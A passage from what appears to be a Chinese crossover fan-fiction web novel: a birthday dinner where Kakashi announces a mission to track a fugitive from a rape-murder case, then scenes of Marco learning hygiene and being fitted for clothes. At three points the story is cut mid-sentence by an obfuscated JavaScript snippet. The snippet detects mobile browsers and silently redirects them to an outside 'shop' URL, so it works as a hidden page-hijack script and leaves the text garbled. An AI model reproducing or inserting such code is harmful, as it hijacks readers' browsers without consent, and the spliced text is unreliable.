服务员带我们在走廊里穿梭,进了二楼角落里的包房。房间背离街道,没有喧嚣的灯火,倒有几分安宁清雅。餐桌也大,坐六个人也不会拥挤。 卡卡西放下蛋糕,率先落座。 平常我都和他一起,但是今天我不要和出卖我的人一起坐,我也不敢坐在要砍我的修兵身边,我决定了,我要挨着马尔科坐。 “我要跟你坐在一起。”外人很多,我小声和马尔科讲。 “呃,好。”他弓着腰听我说话,不问缘由,全听我的。 卡卡西眯着眼睛笑,一脸嗑到的表情。 “那我就把她交给你了哦~马尔科。” “……”马尔科怔了怔,没有接话。 目光不自觉地转向了我,我瞪着那罪魁祸首:“卡卡西!你还敢说!” 一刻钟前,修兵有多想砍我,此时此刻,我就有多想砍卡卡西。 这个坏人!我对他咬牙切齿。 他出卖我,害得我都不能嗑修兵了!结果他还敢来嗑我?! ——什么道理! 我怒目圆视,他却两手一摊,一脸无辜地反问我—— “哈哈哈!怎么了,我说得难道不对吗?我们找马尔科,让他负责照顾你,不是吗?” “是的。” “那我这样说有什么问题?” “……”可恶,没什么问题,我没法反驳。 天才卡卡西从来都有这样的本领,在捉弄我这件事上,他自诩第二,没人敢说第一。 什么好话叫卡卡西一说,就变得奇奇怪怪,横竖不是滋味。眼看他笑得开怀,眼睛弯弯的,透着一股子狐狸味的狡黠。经验告诉我,他肯定没安好心,一定在嗑我CP! 但我拿他无奈,我说不过他,无论我说什么都会原封不动地被他反驳。 这种时候从来都要靠修兵帮我说话。可眼下修兵忙着点菜,对我们之间一触即发的战事置之不理。偶有眼神交错,他微微皱眉,还没从要砍我的余波里回神,眸光冷彻,对我只有警告。 “……” 我不敢惹他,在桌子底下拽了拽马尔科。 马尔科得帮我,我们刚刚才说好的。 我示意他快点,他微微一怔,看看我,又看看卡卡西。 马尔科果然心好,想帮来着,可惜帮不上忙,还把水愈发搅浊了。 “那个……什么意思啊?” “就是字面意思,”卡卡西笑眯眯地回,“修兵没跟你说吗?我们家是分工的。修兵负责赚钱养家,我负责照顾大小姐,闲暇时兼职去办事处做点事。既然你来了,从现在开始,大小姐就交给你照顾了。我就专职去办事处工作了。” “现在就交给马尔科,是不是太快了点?” 修兵还是没忍住接了话。即便看向我的目光还是充满了警告。 但警告归警告,他是我最好的朋友,总归还是要帮我的。 “马尔科刚来,等他适应一段时间再说吧。”修兵说。 “嗯,本来是应该这样的,”卡卡西也承认。 屋外有清晰的脚步声。不多时,服务员敲响了房门,送来了丰富的菜品。 卡卡西没再说了,直到服务员齐齐离去,房间内外也始终被静谧包围。 修兵给我们每个人都倒上一杯生日酒。 大家一起举杯,我看卡卡西目光流转,嘴唇微动,想他不怀好意,又要嗑我 CP! 我都要拔刀了! 哪知道这人突然一本正经地说起:“嘛,还没开始吃饭就说这事有点不好,我本来是想晚点再说的,不过既然都提到这里了,那我就直说了。” 一场激动人心的聚餐理应从干杯开始。丰富的菜品摆满了桌面,卡卡西却放下酒杯,正色道:“家人们,明天我想去办事处接一个任务。” “任务?” 办事处的工作交由卡卡西全权负责,一般情况下工作内容需要严格保密,他不会监守自盗刻意来与我们闲谈。如此反常的姿态不禁让我们正襟危坐,纷纷收敛了悠闲的心思。 “什么任务?”修兵放下了酒杯,“危险吗?” “嗯,”卡卡西抓了抓后脑勺的白毛,“其实你们也知道,去年隔壁街区那事。” “……”我和修兵同时想起了那件事,不约而同地沉默了。 今年才来这里的马尔科不明所以,卡卡西和他解释:“去年冬天,我们小镇出了一起骇人听闻的奸杀案……” 受害者是隔壁街区未成年的女学生——才十六岁,涉世未深,风华正茂。她孤身走夜路时遇到流浪者,善良好心地赠与其一块面包,却遭到了恩将仇报的尾随和奸杀。 此事一出,满城哗然。 办事处紧急调令辖区内全部能力者进行调查。半天内发布了逮捕令。 经查,犯人并非本地人,也非能力者,属于激情作案,眼下已畏罪潜逃,不在本地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073606|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区活动。办事处又及时补发了通缉令……然后舆论风波渐平,后续也没有下文。 如果卡卡西不提,我还以为这事已经了了。 毕竟冬去秋来,已有一年时间。办事处集合了各路能人,半天就能查明真凶,没道理一年还抓不到人。 但卡卡西却摇头道:“这人至今也没抓到。” “怎么会?”修兵不解。 办事处的工作一惯由卡卡西负责,修兵和我一样了解有限。且犯人被缉拿归案后的行刑过程不会公开,如果没有更多的报道,绝大部分人都会默认案子已经了结。 没有人会去反复思考人死不能复生,这里的风俗是入土为安。按律法,非自然死亡者,办事处会通过特殊方法保存遗体,不结案不能下葬……也就是说,那位可怜的受害者至今不能安眠。 修兵的脸色已经变得严厉起来了。 我想我的脸色也不怎么好看。 “这个说来话长,”卡卡西讲,“去年的任务重点是追踪,对方反侦察能力很强,据我所知之前有三个人接过任务,不过都失败了。所以办事处按着‘事不过三’的规矩,去年就已经上涨了十倍悬赏金。” “后续没有人接吗?” “对——”卡卡西交代,“悬赏金上涨的时候,距离事发已有半年时间。连续三次跟丢了目标,办事处也没有头绪,任谁出马都是大海捞针。” 成功率不高的话,就算悬赏金高,很多管理员也不会派手下能力者去接任务。 这涉及到办事处的管理员后台自带评分机制,将任务成功率和职能挂钩,从源头上杜绝某些管理员或能力者越级办事反而耽搁事的情况发生。 “卡卡西,等一下,”修兵愈发不解,“能连续三次甩开专业的能力者……真的只是普通人吗?” “嗯,办事处综合评定后,把犯人重新定义为‘潜在能力者或有潜在能力者协助’,已经进行了封锁。半年前开始,这案子只能由前一百位管理员接取。” 这里是三个世界的集合,人口有寻常世界的三倍之多。 城市数量三千有余,而管理员至今才三万不到,手下能力者也在十万有余。只能由前一百位接取的话,已经算是相当罕见的高风险级别任务。 “有这么严重?”修兵抄起了手。 “嗯。”卡卡西点头。 “那为什么现在才去?”我也抄起手。 此人穷凶恶极。卡卡西嘴上不承认,但我认为以卡卡西的脾气,早就该忍不住要亲自挂帅了。 “哈?”卡卡西一把把我抓了过去,敲我脑袋,“因为谁?你说因为谁?” “……”我不吭声了。 好吧,我承认,我似乎的确得负一些责任。 修兵对马尔科说:“这种长线任务,卡卡西要是去了,少说也得两三个月。我要上班,工作很忙,不能每天都带着她一起。而且那种环境人来人往,她也不喜欢。但没人照顾她又不行——我们家这位在生活上是一塌糊涂:手脚很不灵便,进不了厨房,会出大事;方向感又差,出门都能把自己走丢了……总之,她绝对不能一个人呆着,必须有人看护,随时随地都得有人跟她一起。” 我被卡卡西捉住了,无法关注到身后的情况。我不知道马尔科是什么表情,怎么理解我笨手笨脚,生活不能自理,在家地位等同于纯纯吉祥物这件事。 屋子里静默了片刻。 “你一个人去吗?”马尔科问。 我愣了一下,果然听到他说—— “我不是怀疑你的能力……但。”他啧了啧嘴,话语戛然而止。 12. 07 工作(2) 那些话不用说,我们都了解。 但他才刚刚失去了一个兄弟,失去了一整个家庭。起因全是这位兄弟要单枪匹马去追捕一个逃犯,起初,他也不曾怀疑兄弟的能力,也不会想到会引发一连串噩梦…… 我从卡卡西的魔爪里脱身,无意间打翻了桌上的酒杯。 小巧的白瓷杯顺着桌面翻滚,终于“砰”的一声越过桌沿,摔碎在地。声音百般清脆,唯独在沉默里有如惊雷。 马尔科当即抬起了头,如梦初醒般看着卡卡西和修兵。 “……没、没什么。”他只是说,“希望你能平安回来。” “喔!”卡卡西也很配合的回他,“没事的,这里可是和那个世界完全不一样的地方啊。” “马尔科,你去听过学校的督导课,应该已经知道了这个世界的事了吧?” “……呃,”马尔科欲言又止。 他没听啊,他在发呆。卡卡西突然提及,他云里雾里,下意识便看着我—— 礼尚往来。我也帮他挡一挡:“他不知道,我们去晚了,三大课已经结束了。” “是吗……”卡卡西兴致勃勃地与他解说。 入学的第一周,所有学生都要集中学习这个世界的本源。 他们必须知晓他们来源于三个不同世界、却同样因为剧场落幕而汇聚在此的真相,从而认识到他们的诞生来源于“神明”的一场浪漫想象,他们却只是想象中的配色,他们因主角而生又将因故事结束而死,他们的命运凉薄低贱如草芥。 而在这巨大的荒诞中,世界上又存在着巨大的奇迹—— “神明”创造世界,构建秩序。管理员们集合众人之力,搭建了一个新的舞台。 无论是对主角还是龙套而言,管理员是等同于救世主一样的存在。 这是一个彻底颠倒的世界。 在这里,没有人需要因为剧本落幕而消亡,也不再有剧本的局限,他们会失去身份、立场、曾拥有过的一切,但他们亦会得到,会第一次真真正正地以自由意志开始他们的生活。 彼时的主角,将在这里被戴上镣铐。 毫不起眼的普通人,却怀揣自由高歌。 对能力者而言或许有些“残忍”和“屈辱”,但对数以亿计的普通人来说,这里是绝对的乐园。 …… 卡卡西是一个好老师,循循善诱:“对了,你知道Flag吗?” “什么?” 马尔科不知道的东西太多了。 修兵老师也不得不放下筷子,解释道:“我们这里的流行词,意思是指说一句振奋的话,或者立下一个要实现的目标。简单地说,一个人被他自己说的话打脸了。你做了一件事,或说了一句话,为下面要发生的事做了铺垫,这就是立Flag。” “啊……”马尔科点着头。 但我想这样解释的话,他应该还是没有听懂。 卡卡西笑着说:“文学作品里经常出现的方式是——临别前约定,‘等我回来就’怎么样,往往意味着这个人再也回不来了。” 然后马尔科肉眼可见地僵住了。 ——他肯定想到艾斯了。 这种反应和表现我毫不意外,毕竟,没有人能轻易地往前走。 马尔科也只是人,人而已,他没有任何理由成为例外。 比起马尔科,我想,卡卡西有一点奇怪。 马尔科来我们家已经有些日子了,卡卡西整日在办事处工作,最近又忙着替马尔科办理手续——马尔科的生平他应该早就了解了。 我们家有一条不成文的规矩——平日里不聊过去,只谈现在和将来。 喝了酒的话,可以打破禁忌。我们偶尔会不经意地说出几段故事,不为怀念,只是互相调侃。但无论喝了多少酒,我们都默契而清醒地绝不会提及过去——有关伤痕的一面。 那些伤痕可以触动灵魂,但实在没有任何值得探讨的必要。 说到底,人设而已。 卡卡西本不应该提这件事,不该用模棱两可的话语精准地触动那些回忆。 我没有打断卡卡西,我认为明知故犯,要不然是因为愚蠢至极;要不然是因为聪明绝顶——而木叶天才旗木卡卡西当然是第二种。 我和修兵交换了眼色。 他也如此认定,放下了筷子,只是听,没有说。 卡卡西果然说:“在这里不会哦!” “这里是真实的世界,不是既定的剧本,没有那么多‘注定的巧合’。我说会回来,就真的会回来。” “当然,巧合仍然存在,意外也不是不会发生,但概率绝不是百分之百,而是万分之一。” “你知道万分之一的概率意味着什么吗?” “办事处设有公益性质的刮刮乐,用以补贴因辅助公事而遭受实质性损害的普通人。我每出一次任务,都会按比例扣取任务酬金的百分之二,强制购买刮刮乐。” “我工作六年了,刮刮乐开过超过十万张,别说千万分之一概率的头等奖,就连综合中奖概率万分之一的安慰奖都至今没有中过一次。” “这才是真正的万分之一。” “……”马尔科沉默着。 他看向卡卡西的神情凝聚着我不能理解的情感。 我无法理解马尔科的心情。 我只是听见他笑了。 “那干了这杯酒,我就停下了,”马尔科说,“剩下的等你回来再继续。” 酒杯碰在一起,发出清脆的声音。 卡卡西眉眼弯弯地应答:“好啊。那我不在家的这些天,大小姐可就交给你了——照顾大小姐可不是容易事,打起精神来呀,马尔科!” “嗯,我会上心的。” 他承诺着,把那杯酒一饮而下。 修兵又给马尔科续上了一杯。 “没他说得那么严重,家里还有我,”他告诉马尔科,“有什么事就联系我。你的通讯器很快会下来,她有任何状况,你打电话给我就好,我们的内部通讯是二十四小时在线的。” “好。”马尔科也答应。 他的通讯器还没有批准,他也不知道内部通讯是什么东西。但他还是答应,态度诚恳。 轮到我说话了,我平常不喝酒,今天例外,修兵给我倒了一杯。 “欢迎你,马尔科。” “嗯。” “以后要好好照顾我。”我说。 “……”他愣了愣,忽然笑起来,“好。” 我没有什么要交代了,想了想,就一句:“切蛋糕的时候给我切大份。” “……好,知道了。” 马尔科性格温和,说什么都答应,答应了也照做,切给我的蛋糕把盘子塞得满满当当。 卡卡西在对面笑。两道月牙弯弯。 食物的香气在包间里弥散。他们喝酒聊天,我埋头吃饭。 家里条件有限,平常我克制着食量,只有吃自助时才放开摄入。天才卡卡西想出这个不是办法的办法,极大程度缓解了我们家的经济难题。 “不要浪费粮食,我们家最忌讳这个,”卡卡西正说这事,“吃不下可以拿给大小姐,她不挑剔,很好养活。” 他若不说,马尔科全无察觉。 这一扭头,看呆了。他们聊几句话的功夫,我面前垒起了高高的餐盘。 “这样……没问题吗?” “没问题,她饭量太大,我们供不起,”卡卡西抿着梅子酒,笑眯眯地跟他说,“你之后也这样处理——平常随便吃什么都行,每个月固定带她吃两次自助,然后给她多喂一点。” 今天是难得的生日会,我们特意升级了就餐标准,改吃海鲜自助,四百元一位。 之前我和卡卡西固定在家附近的自助烤肉餐厅吃饭,两百元一客,酒水免费,每个月都去,甚至都有固定的位子——没有办法,家里就这个条件。 修兵每个月赚来的六千块钱工资,除开房贷车贷,还要偿还一笔“大小姐专用资金”。我所需要的餐饮费、日用品……作为家里的头等大事,走信用卡,刷到下月一起还贷。 而还完贷款后的结余,每月约莫三千左右,会冲入“家庭共同账户”。该账户负责开支家里一切衣食住行及生活所需,也是月结,结款后的剩余部分,才平摊到账下的个人户头上做零花钱。 零花钱里也有我的一份,分到个人头上实在不多,每月只有几百。 不过修兵工作努力,一个人兼做好几个人的工,每年的年终奖很是丰厚。平衡下来,我们每个人都能有一万不到的零花钱。 马尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073607|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科到来后,多出一个人的开销,家里经济状况暂时会紧凑些。不过等一切稳定下来,修兵和卡卡西都可以全职工作,不必再分心照顾我,我们的生活就会渐渐回暖。 …… 日后这都是马尔科的“工作”了。 卡卡西把我们的日常事无巨细地和马尔科讲。他点头在听,不时看我。 我在剥虾,无暇理会。 他看我剥虾手笨脚拙,离开修兵和卡卡西,就成了废物点心一个……费了老半天劲才剥出来两只,修兵出去接电话都已经十来分钟了。 “我来吧。” 卡卡西帮我烤肉,照看不过来。马尔科于心不忍,伸手端走了我面前的虾盘。 不愧是海上漂泊过的男人,剥虾手法利索。他拿去几秒一个,把虾线都剔得干干净净。 “还要吗?” “嗯。” 他还我一盘虾,又把修兵那侧的白煮虾都端到了面前。 我全神贯注也做不好的事,他做起来轻松,手上剥虾完全不耽搁聊天。 “刚说到哪里了?”马尔科问卡卡西。 “说到她不挑食,好养活,”卡卡西笑着答,“但她只是不挑食而已,人可矜贵着呢,一点粗活都干不了——你想象一下公主应该是什么样,她平时就是那样,和她一起的话,这些都得你去处理。” “这样啊……”马尔科脸上毫无波澜。 …… 我们吃到打烊才结束。夜已经深了,天上零星落起小雨。 修兵还在接电话,三小时的就餐,两个小时他都在通话中。 “还没结束吗?”卡卡西招呼他。 “对,”他皱着眉。 修兵所就职的杂志社旗下有多个编辑部,囊括了新闻、生活、百科、时尚、文学、旅游各个方面,周刊杂志应有尽有。修兵是文学和时尚两个板块的总编辑,平时也兼职做新闻板块的撰稿人。偶有意外发生,就会被调配到其他板块临时当主编……总而言之,他是一块砖,哪里需要哪里搬。 “新闻板块又出问题了,调我过去救急,”修兵抽空示意我们,“要赶在发刊前处理完,今明两天都得加班了。” “啊,巧了嘛这不是,”卡卡西伸了个懒腰。 事不宜迟,卡卡西明天就要走。 前一秒他还在和我们说今晚要去办事处的宿舍住,方便明天早上办手续;好巧不巧,后一秒修兵说他深夜还得回编辑部加班,编辑部和办事处在同一个方向。 “那我和修兵一起好了。一会儿编辑部楼下散会,你们自己回去可以吗?” “嗯,可以。” 工作的事,我和马尔科也帮不上忙。 对于帮不上忙的事情,少添乱也是一种帮助。 对此,我已经很有经验了:“放心吧,我会好好照顾马尔科的!” 修兵额角跳了一下,拿眼神回答我——“你先照顾好你自己吧!” “哈哈哈,”卡卡西笑得合不拢嘴,“虽然我们在外面工作,但其实照顾大小姐才是我们家最重要的事——这件事就拜托你了,马尔科,一定要上心啊!” 今天过生日高兴,除了修兵,大家都喝了点酒。卡卡西有点啰嗦,一晚上重复了好几次。 马尔科居然还没听烦,点着头,有话必答:“嗯,没问题,你注意安全。” 修兵的电话会议不能挂掉,上了车,我们不便闲聊。 车厢里只有电话那头惊慌失措的汇报声,以及修兵斩钉截铁的决策。我静静听着,想起今年新闻板块已经出过一次纰漏,如果我没记错的话,过去的十二个月以内,单是新闻板块修兵已经救场超过了三次。 再这么发展下去,我想新闻板块的总编辑大概也要轮到修兵来做了——几年前,时尚板块也是这样交到了他手里。起初他担心做不好,最后做得风生水起,如今都成了门面刊物。 修兵的工作实力毋庸置疑。我的想法也并非空穴来风。 我想,指不定两三个月后卡卡西回来,修兵就要升职加薪了呢。 他们都很优秀,我也不可以太差。 编辑部到我家有一班直达公车。公交站距离家有几百米的路程。 夜深了,风萧瑟凄厉。 有点冷。我握紧了马尔科的手。 13. 08 温柔(1) 这场小雨淅淅沥沥,落了整整一个星期。 冬还未至,而冬的滋味却纷至沓来。 天气清冷,家里也冷清。 卡卡西外出工作,不再像从前那样随叫随到;修兵忙着加班,早出晚归,也几乎不见人影;家里只剩下我和马尔科两个,好在还有马尔科陪着我这个空巢老人。 过去六年我都和卡卡西形影不离,我本以为这对我来说会是个不小的挑战,但真的离开了……也就离开了,就好像那些马尔科好几十年习以为常的过去,一旦离开了,也就离开了。 不然呢?生活还不是要继续。 每个人都要接受现实,没有人可以例外。 我也要学着多关注马尔科一点,不能像从前那样视而不见。 马尔科人很好。生日那天,他堪堪笑着,说会很快改掉我不满意的地方—— 我对他没有什么不满。 习惯只是环境的产物,那种东西即便不提也会因为“到来”本身而更替,就像入了冬,还挂在枝头的绿叶一样,早晚都会飘落。我提,也不过是因为怕他心肠柔软,一不小心又感动到落泪。但过生日不可以流眼泪。过生日要开心才行。 除此以外,我别无所求。 但马尔科是真改,那雷厉风行的姿态恍惚间会让我感觉看到了卡卡西。 每天早上起床,我都看到他在浴室里阅读说明书。 他已经不是十几岁的少年了,年纪和阅历都会成为他“从头开始”的障碍。而且学习本就辛苦困难,推倒重建难上加难。 马尔科不是卡卡西。 天才卡卡西只看一眼就能融会贯通,马尔科却不能。 一个刚刚解决温饱问题的人,在面对食物时,能克制住狼吞虎咽的生理冲动已经足够优秀,是没有能力和精力去细细品辨食物优劣的。 这和才能无关,是一种积累。学已是逆水行舟,与时间对抗,更是刻舟求剑。 即便他再优秀,他也没有办法一蹴而就,一步登天。 浴室里的瓶瓶罐罐很多,现在除了我的,还有他的。马尔科拿出了纸笔,密密麻麻地抄写了许多笔记。那勤奋努力的样子又仿佛让我看到了修兵。 但他终究也不是修兵—— “你在干什么?”我走过去问他。 “……啊?大小姐,你早。” “早。” 他很有礼貌。卡卡西和修兵都不像他这样。 或者那不是一种“礼貌”,但起初我说不清楚那种独特的气质是什么,我只知道在我瘠薄的刻板印象里,没有海贼是这样的。 “我在看你的护肤品……这个是干什么用的?”马尔科推了一下眼镜。 他推眼镜的姿势也很特别: 我第一次见到有人推眼镜不是推中梁,而是张开手掌,用拇指和中指分别推两侧镜架。这个姿势会让我留意到他的手指修长,骨节分明,非常漂亮。 “是滋润皮肤的。” “嗯,成分表后面这些……这些都是什么东西?” 他的关注点也不同寻常。马尔科指给我看—— 成分、原理、配比……平平无奇的消费者可不会研究这些。我不懂,如实相告,他点了点头,没追问,刷刷写了几笔。而那笔记本上全是这类拮据敖牙的专业名词。 “马尔科,你好了吗?” “嗯?” “给我手。” “……”他愣了下,回神便笑,“又要检查了吗?” “是的。” 我要检查他有没有好好洗手。 我说了,那些都已经是过去了,过去不值得留恋,尤其是糟粕,既然来到了新世界,诸如洗澡冲一下完事、头发搓一下搞定,没有个人护理、没有修剪指甲、没有修理胡茬、没有整理鬓角、对个人形象毫不在意的事……以上种种必须改头换面。 而在马尔科做好准备之前,我并不打算插手——这种想法也是过去了,现在我不这样认为。 生存和生活之间存在一道鸿沟,仅凭马尔科自己的努力,难以快速跨越。 身为管理员,我要帮助他更快更好地开始他的新生活。 第一步,我想教会马尔科如何正确的洗澡。 我没办法和他一起洗,所以我只能从洗手开始,由小见大,让他理解我所说的“生活”究竟是什么。 距离我开始教学的日子已经有一段时间了。 那天卡卡西也在。领完任务,卡卡西先回家了一趟。我们在教学,他靠在门边欣赏。 “要先浸水,充分润湿。” “……噢,这样?” “嗯,接上洗手液,搓到起泡。” “……噢。” 我说着,马尔科听。我怎么说,他怎么做。 “就洗好了吧?”马尔科问我。 “!” “不是吗?” “手指缝你怎么不洗!” “那这下好了吧?” “!” “还没有吗?” “指甲缝!” …… “好吧,我知道了。”马尔科重新搓洗,这次很标准,无一遗漏。 “喔~是大小姐亲自教啊,”卡卡西探头在笑,眼睛弯弯地瞧着像没安好心,但一开口,又叫我无可辩驳,“好了,你们慢慢教学。我现在就要出发了。” “现在走吗?” “嗯。” “那你等等,”我赶紧叫停他,去柜子里翻出一只面霜。 “这什么?” “面霜,多一支,给你用。” “……知道了,”卡卡西波澜不惊地收进包里,临行不忘和马尔科交代,“看吧,女孩子就是这样——又麻烦又可爱。我们家的大小姐还要加倍麻烦,加倍可爱。” “卡卡西,霜很贵的!”我和他说。 “你也知道贵啊,”他敲我脑袋,“别那么舍得,自己留着用……你这一瓶抵得上修兵半个月工资了。” “最近风沙很大。” “是是,我的大小姐,我会注意护理的。” 卡卡西揉了揉我的头,又和马尔科挥了挥手,笑眯眯地在秋雨里走远。 这一转身就是暮秋,雨终于停了,天气也彻底凉了下来。 …… “怎么样,能过关吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073608|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 马尔科把手交给我检查:指甲修理得整齐,指缝也洗得干净,洗完手有在擦护手霜,皮肤细腻了许多,这种变化肉眼可见,牵起来也不像之前那样粗糙。 手很漂亮。难怪一抬手,就会吸引我全部的注意力。 “嗯,可以过关。”我点着头,很满意。不仅是手,还有人—— 马尔科很好,没有任何可以挑剔的地方。 我不像卡卡西老师那样能说会道,教起来磕磕绊绊,但他态度端正,态度是最好的老师。 他非常配合,也非常聪明,做过医生,有关皮肤、清洁的相关内容,他自己也懂一些,即便我说的不是他熟悉的名词,多说几句,他也知道我在说什么,交流起来很轻松,一点就通。 我们这里四季分明,气候温和,没有极端寒暑。 许多人过来以后,性格和外貌都会因为环境发生不小的改变。 马尔科也开始有变化了。 他理应会有变化,变化本身不足为奇。但他的变化实在太大,过来一个月时间,肤色从黄黑蜕变成冷白—— 原本他相貌的底子并不差:眉骨高,鼻梁挺,眼窝深邃,骨相偏异域风情,五官也端正。 外形上又有一堆加分项:譬如个子高、腿长、身材好…… 眼下肤色一变,连带皮肤状态也改善了许多,白里透红,像温室里的花朵没经受过风浪,细腻得判若两人。金丝眼镜一戴,眼神柔和,没有攻击性,人温润如玉。 我开始参透那并非“礼貌”的特殊气质究竟是什么了。 在此之前我没有想过,以粗犷张扬著称的海贼世界里居然还会有这种东西存在——马尔科的底色居然是温文尔雅的学者或者绅士?! 这太不可思议了,比他的冷白皮更惊艳。 但他情绪稳定,沉着冷静,喜欢探索事物背后的本质——对事,确有学者的风范;而对人温柔包容,成熟稳重,极有绅士风度。 气温降了,我们还没有给马尔科准备入冬的衣服。 我问他:“马尔科,你要不要试一试绅士穿搭?” “——绅士?”他惊得眼睛都圆了,“大小姐,你说我吗?” “?”那不然呢,卡卡西出差了,修兵在上班,家里就只有我们两个人。 我不知道马尔科什么意思,他是不想吗? “如果你不想的话——” “诶,没!没有不想!”我要走了,他抓住我,“没有不想啊,大小姐,我只是太意外了。” “马尔科,你不用勉强自己。你不喜欢就算了。” “我没有不喜欢,也没有勉强自己,”他弓着腰和我说话,语调柔和,态度也好,“我从来没想过这种事情,你是第一个这样说的……不过你要是这样说,一定有你的道理吧?那试试看好了。” 他是诚恳的,低着头,轻言轻语,姿态也十分谦卑。 “我不懂什么穿搭什么打扮……都听你的好吗,我要怎么做?” 他或许不懂,但他听劝,听了也会改。 就凭这种温和包容的态度,我想他什么都不用做,就已经是一位温柔儒雅的绅士了。 14. 08 温柔(2) 我想这个问题没有必要再继续。 “你做饭吧,”我回答他,“这件事我来负责。” “那拜托了,大小姐,”马尔科舒了口气,又问我,“……没有让你不开心吧?” “没有呀。”我没有不开心,我只是觉得这件事压根就不应该和马尔科聊。 马尔科对自己的认识不充分。虽然这也正常,人最难了解的正是自己。 我推介马尔科往儒雅绅士的方向打扮,不是因为我要把他改造成一位“绅士”——儒雅是一种涵养,装是装不出来的,也不能“改造”成功;我推介他往儒雅绅士的方向打扮,是因为马尔科本来就存在那样的风度和气质。 我理解他的惊讶,因为我也很惊讶。 这样说有一点奇怪,虽然他是臭名昭著的海贼,但就像温柔、礼貌、敏感、细腻……这些词语会与之共存一样,我也在他身上看出了一股“儒雅”的气息。 马尔科继续做饭了,我在门边看了他许久,他动作不急不慢,镇定从容。这让我想起那天聚餐,马尔科替我剥虾—— 剥虾是机械无趣的工作。天才卡卡西剥两盘就烦了。修兵能剥个五六盘,但五六盘后,还是会感到枯燥乏味。马尔科不一样,机械无聊的工作交到他手上,一整晚他平静如初,丝毫没有懈怠。 无论是修兵、卡卡西还是我,我们都没有这种特质。用时下流行的话说,马尔科的情绪非常稳定,耐心和仔细的程度频频使我刮目相看。 那天我认真地观察了马尔科一整晚: 平静、从容、一丝不苟、心平气和……这些词语联合在一起,加之他做过医生,职业也能体现人秉性的一种,笑起来又温和,闪烁着人性的光——那不就是“儒雅”吗? 虾很好吃,他剥得干净,吃起来也美味。 我认定马尔科是儒雅的。 我也经常在修兵全神贯注时,观察他的侧脸。但我不会觉得儒雅,我只会看出“文艺”。 修兵性格严谨,为人做事一丝不苟。眉眼间的神韵一如本人,颇有肃杀之意,像剑锋,虽是文饰,但大有不怒自威的魄力。所以我推介他往时尚潮流的方向打扮——时尚潮流也分许多种,修兵走的是别具一格的“时尚文艺”,剪裁为烘托气质,重在一个“冷峻”——而事实证明,这也的确很适合他。 至于马尔科,我认为他就是儒雅的人。除非日后他觉醒出了另外的本性,不再以儒雅为主导——但那也是很遥远的未来,现在可以忽略不计。 办事处刚刚通过了马尔科的身份认证,需要我们上传最新的证件照。 迄今为止,马尔科在办事处的头像还是坐牢的模样。也是时候让他改头换面,重新做人了。 马尔科在做饭,我缩回沙发上联系真正应该询问的人:“修兵,给马尔科买几套衣服吧。” “行啊,”他刚好在摸鱼,秒回,“在置物服务站买吗?” “好,我们的VIP卡还可以用吗?” “可以用,而且已经变成SVIP了。” “!”我不知道,家里的事都是修兵在管,账单也是他负责。 “具体要买什么,有想法吗?” “一点点,你有推介吗?” 修兵秒发十几个链接。时尚对他而言,一如探囊取物。 我不用问他,他会问我:“往哪个赛道发展?” “成熟、温柔、儒雅、气质。” “商务?” “不要商务,可以学院。” “懂了,”他筛选好了,“天藏人那种类型的?” 天藏人……这个品牌许久没有听说过了。 曾经也是引领时尚潮流的天之骄子,专为温柔型男设计衣橱。但印象里只持续了几年,后来换了设计师,后续设计归于俗套,渐渐销声匿迹了。 “这个牌子还有做吗?” “早没有了,品牌也没落了。不过原设计师最近开了个工作室,似乎要重新开始。” “那价格很高吧?”我记得初出茅庐时,一件衬衫卖一百万,且有价无市。 “现在比不上当初了,一套定制款才十来万。” “……”那也不是我们家负担得起的价位,我们家一年收入才十来万呢。 我没接话,修兵话锋一转—— “前不久我听小道消息说‘天藏人’的原设计师有复出的愿望,就托人联系了他们,想做独家专访。人还没见到,不过听说我是时尚周刊的主编,又是第一个联系他们的媒体,对方非常感动,给我送了定制体验卡,让我帮他们宣传。” “!”他难道是说…… 修兵正是此意:“我有两张卡,可以给马尔科做两套。” “!”不愧是修兵啊!时尚嗅觉敏锐,工作能力拉满! 他不走熟男路线,即便体验了以后也不会穿,未免有点浪费。给马尔科正好,马尔科走熟男路线,而且就像修兵的“清冷文艺”要靠剪裁提升时尚度一样,熟男路线的重点在于“熟”,成熟是一种积累,非常讲究品质。 这再合适不过了!我们一拍即合。 马尔科的三维数据保存在置换服务站内,修兵调取了就能用,也不需要我多讲,他很懂—— “那西装就定天藏人,第一套还是定基础款吧,颜色也选基础版;第二套的话问问设计师好了……我先发送了?” “好的,你安排。” “再给马尔科选点日常的衣服吧,置换服务站上新了,有他的码数。日常有什么想法吗?” 我暂时没有,想了想,回他:“日常的话,其实基础制服也不错?” 